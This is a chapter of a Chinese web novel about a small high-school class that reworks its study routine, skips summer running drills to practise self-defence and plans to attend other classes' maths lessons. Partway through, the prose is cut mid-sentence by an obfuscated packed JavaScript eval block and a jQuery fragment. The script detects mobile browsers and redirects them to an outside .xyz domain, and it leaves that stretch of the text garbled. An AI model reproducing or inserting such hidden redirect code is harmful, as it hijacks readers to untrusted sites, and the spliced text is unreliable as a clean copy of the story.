19. 19
作品:《致以闪亮的我们》 “我有个问题。”五分钟后,周池月缓缓竖了根食指,“请问,你背书就是纯死记硬背吗?”
陆岑风迟疑片刻说:“语文不就这样?”
周池月心说要是林静在这儿保管被气死,这么美的文章念这么干巴,堪称奇葩。从他断句的语气,就能听出来,他完全不理解这篇在表达什么。
“你语文课都睡过去了吧。”周池月忍不住感慨,“记数学公式,如果知道它是怎么推导出来,能记得更快、用得更熟练。语文,难道不是同理吗。”
“极天云一线异色,须臾成五彩。日上,正赤如丹,下有红光,动摇承之。”她缓缓把背诵篇目《登泰山记》的句子说出来,“这是一副日出的画面。在太阳升起来前,天空先产生一丝亮度,云彩勾连出一条奇异颜色的线,不一会儿变成五彩斑斓。我想,这里的五彩斑斓应该是有藏青色、蓝色、烟灰色、绛橘色、橙黄色、金色……等太阳缓缓从地平线跃起来……”
“你看过日出吗?”她回忆道,“如果在山顶或海边看的话,是特别大的一颗太阳,升起的时候,先冒头的上端是渐变的黄色,而渐渐浮出来的下半部分,却被炽烈的红色托举着,整片天都被渲染得耀眼起来。”
在她说之前,这段书上的文字只是一段没有感情的要背诵的内容。老半天过去,他还是可能会记上句,忘下句。
可是她的描述好像有魔力,一瞬间,他似乎能想象到那是怎样一个栩栩如生的场景。也就是这时,他才发现,原来姚鼐写得真的很凝练很美。
“没看过。”陆岑风悠悠翻了一页,平淡无波地说。
“所以不能像这样乱背啊。理解和共鸣才更重要,古文里一个字可以有数十种含义,硬背是可以背下来,但放在句子里翻译,肯定又要头疼。”周池月轻叹。
陆岑风好像发了会儿呆,挺久才哦了一声。
周池月有点纳闷他突如其来的“听话”,想了想,觉得刚才自己一大段话说下来有点像老师训话,于是她“咳咳”道:“也没事啦,有机会的话,我们可以去看日出。”
又来了。
又来了。
陆岑风也不知道自己为什么要回“再说吧”这句令人觉得意犹未尽的话,反正结果就是这么个结果,他扬了扬下巴,差点把舌头咬断。
周池月瞧了瞧手表,到点了。
该叫人起床了。
陆岑风刚想到一些能挽尊的说辞,才扭过头,就见周池月头也不回地拎凳进了班,一个个敲桌执行唤醒服务。
他:“……”
事情证明,趴桌睡得这么一小下,堪比晚上多睡一小时,效果斐然。
徐天宇转了转脖子:“感觉现在精神抖擞!”
“那我们直接做早练吧?”李韫仪晃了晃麻掉的手说。
周池月点头:“嗯,待会儿大课间结束,我再说我们这个课表的解决方案。”
林嘉在迟疑:“解决了?”
“算是吧……”
正式开学后就有大课间跑操了,堪称是夏季校园的十大酷刑之一。
烈阳当头,列成队的班级在操场跑四圈。跑得快的人在前面像离弦的箭,跑得慢的人在后面生不如死地奋力追,一通下来,留出来的汗液能把人全身洗一遍。
等到结束回班,门窗一关,空调打开,空气里弥漫的都是馊味,尤其是男生的馊味。
在这个滂臭的环境下,身体又从滚烫变凉,人的睡意就代替热意涌上来了,跑操后面的那节课不知道得讲趴多少人。
跑操这个东西就不该在夏天存在!
周池月摸了摸鼻子,无奈地看着站了满操场的人,无计可施。
他们五个见缝插针地往人群里面占位置,却听见其他班接二连三的议论声,还隐隐想把他们挤出去。
因为每个班跑操的位置是固定的,这会儿多出了一个新班,难免适应不了。
总之,乱作一团。那些人似乎也不太待见他们,可能是因为他们太特立独行了一点。
行吧。周池月想,这操谁爱跑谁跑。
她带着零班找到正雄赳赳气昂昂巡查的齐思明,很重地叹了口气,可怜巴巴地说:“齐主任,我们班没有自己的位置。”
“嗯?怎么会?”他放眼望过去,好像……的确乱糟糟的。
齐思明正要前去维持大局,却听得周池月指着操场旁的树荫说:“不如,让我们在那里自己锻炼吧。我们人少,活动空间够了。”
“这怎么行?作为一个集体,怎么能分开!”
“那您说,我们站哪儿?等您调好了,大课间都结束了。”
“这……”他拧眉思考了两秒,“那今天你们先这样……后面……”
咦?这帮小崽子人呢?
话还没说完,人呢!
树荫下,零班五人也并没有休息偷懒。
徐天宇主动提议说:“不然,我带着你们随便锻炼锻炼?这么多年,我也不是白学体育的。”
周池月没意见。她知道跑操是为了强身健体,但强身健体也要结合具体情况,看合不合适。
大热天跑操,就是不合适。别说什么苦其心志、劳其筋骨的破话,真要把学生跑出个好歹来,学校就老实了。
李韫仪扶着膝盖问:“那我们练什么?”
“我什么都会点。太极拳,八段锦,传统武术……”
林嘉在拍拍他的肩,笑问:“瑜伽呢?”
徐天宇:“?”
他回头一看,几个人全在笑。
李韫仪小幅度举了下手:“瑜伽也可以,我以前学过一点舞蹈,如果你们想的话……”
三个男生顿时面如土色。
周池月嘴角扬了扬:“不然,还是教我们点防身技巧?”
“这个好!”李韫仪惊喜道。
“可以啊。”徐天宇扭头拉人,“对了风哥,你是不是学过跆拳道来着?”
陆岑风抄着兜,闻言淡淡“嗯”了声。他穿着短袖,两条宽大的袖子之下,是力量感恰好处的肌肉和骨骼。
果然,少年人站那儿什么都不做,都是飞扬的。
说起来,那次和凌一泽打架,之所以只有他背了处分,就是因为对方被他完虐。
虽然……是对方主动找的茬儿,但人菜,就显得很讽刺。
“如果有人掐住你的脖子,那就……”
徐天宇动手攥上陆岑风的下巴,然而只相碰了一秒,陆岑风双手击打他肘部,他重心一晃,陆岑风提膝撞过去,把他人都快掀翻。
“就像这样。”徐天宇捂住胳膊,眼神里有点幽怨,“不过这些可能还要多找找技巧,毕竟在绝对的力量面前,很有可能变成纸上谈兵。”
……
零班五个人在绿荫下做一些奇奇怪怪的动作,把下面一群累死累活跑操的学生看傻了。
等到广播音乐结束,那几个奇葩也不等集合,心安理得收拾收拾跑路了。
他们人又傻了。
还能这样??
-
零班教室里,空调呼呼吹着冷气。
几个人没跑步,倒也没觉得有那么热,彼时正灌着水听周池月主持大局。
不知道从什么时候起,她就成了这个班的中心人物,指哪儿他们打哪儿的那种。
周池月说:“既然我们是一个不那么普通的班,那我们就做点不循规蹈矩的事。在学校的现行制度之下,我们在合理的范围内,制定零班的班规。”
“首先,关于进校时间。这个没法儿改,所以还是老样子。但是呢,早读时间可以变,就像今早这样……我们入校即睡,十五分钟时间,然后高效读背加上做早练卷子。”
“大课间,还在今天那块地儿,夏天不跑操,冬天另说。这块儿呢,听徐天宇的安排。如果想跑步,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573012|170887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
商量看看傍晚日落时刻可不可以。”
“午间,目前我们是看央视新闻,因为学政治嘛,高考也会考时政,会有点帮助。后面,如果大家都同意,我们也可以看看诗词大会、主持大赛这些。”
她又继续讲:“晚自习有三节。一二节做作业。当然作业大概是做不完的,但是哪里薄弱,自己心里都有数,就挑弱点攻克。第三节我们把桌子拼一块凑成答疑小组,大家都有各自擅长的学科,我们互相帮助。”
她一口气说到现在,所有的条款都是学校没有明令禁止,但是明眼人都知道是不被允许的。钻规则的空子堪称一绝。
但是他们好像都没意见。
“你们,有什么想法吗?”周池月语气真诚地问,她是真的怕自己遗漏掉什么。
李韫仪摇头小声道:“很完美了。”
徐天宇一骨碌爬起来说:“完全支持!”
“就按这个试行吧。”陆岑风说。
林嘉在提问:“所以你早读提到的课程方案是?”
“重点来了。”周池月心里有点发虚,“下节是政治课,我邀请了一位看好的老师过来。而下下节是数学,我的想法是,我们走班。”
他并不太意外,因为他有这么想过:“去一班吗?我们五个去,教室倒是够用,只怕他们不情愿。”
“是也不是。”
周池月解释道:“这个方法在年级挺常见的,只不过一般来说都是生物地理走班,走数学的,没见过。”
“是这样的。”李韫仪点头确认,“我原来在的二十班就实行地理走班。”
“但我们不要一股脑地走班,要有策略。”言归正传,周池月把她的结论总结了出来,“我们五个分成几组,去几个不同的班听课。”
“啊?”
“这么复杂吗?”
周池月有点说累了,她捞起桌上的水杯,打开杯盖,吸了几口。
顺势,她敲了敲隔壁陆岑风的桌子。他抬眸瞧了她一眼,转着笔接过她的话:“因为我们的进度、水平不一样。”
“数学很吃教学方法,尤其要换到大班去上,老师不可能像我们这个小班一样,照顾到每一个人。”
他顺嘴接完话,发现其他那俩男的见鬼一般看着他,李韫仪不看他,但猛地去看周池月。
周池月……周池月比他们还茫然。
她其实,只是手痒而已。
周池月觉得有点好笑。
“就是他说的这样。昨天数学午练,我大概知道大家都是什么水平了。”她摁了下笔,在纸上写下名字,“李韫仪和徐天宇,进度比我们三个落后一点。做题遇中难档会受阻,所以你们俩去九班,郝老师最擅长解构这些题,教得细而慢,他的理念是拿到保底分,不好高骛远。暂时比较适合你们俩。”
“嘉在哥——”
“我看我需要去高三跟着他们一轮复习。”他主动接过话头。毕竟他情况特殊,是脱离普通高中太久的熟悉度不够,题量不够,“老师的话,对我来说无所谓。”
“英雄所见略同。”周池月肯定完他,又想起来什么补充道,“这方法,其实也算是宋之迎想出来的。她让我千万要记得夸你一顿。”
林嘉在一愣,随后回忆起来一些画面,挑了挑眉,闷闷地笑了。
陆岑风手上的笔转飞出去,正要去捡,就听得周池月夸着人呢,他不自觉“嘁”了一声,手停在半空中,忘了动。
“至于陆岑风,嗯——”
他靠在椅背上,松松散散的,笔也不捡了,这架势就是在直白地讲:我倒要看看你要把我弄哪儿去。
周池月顿时有点语塞,忘词。
他这什么表情啊?怎么好像亏待他了似的??
她朝着他扬了扬下巴,手指勾了两下,颇有点在呼唤小狗那模样。
“你,跟我走。”
陆岑风:“……”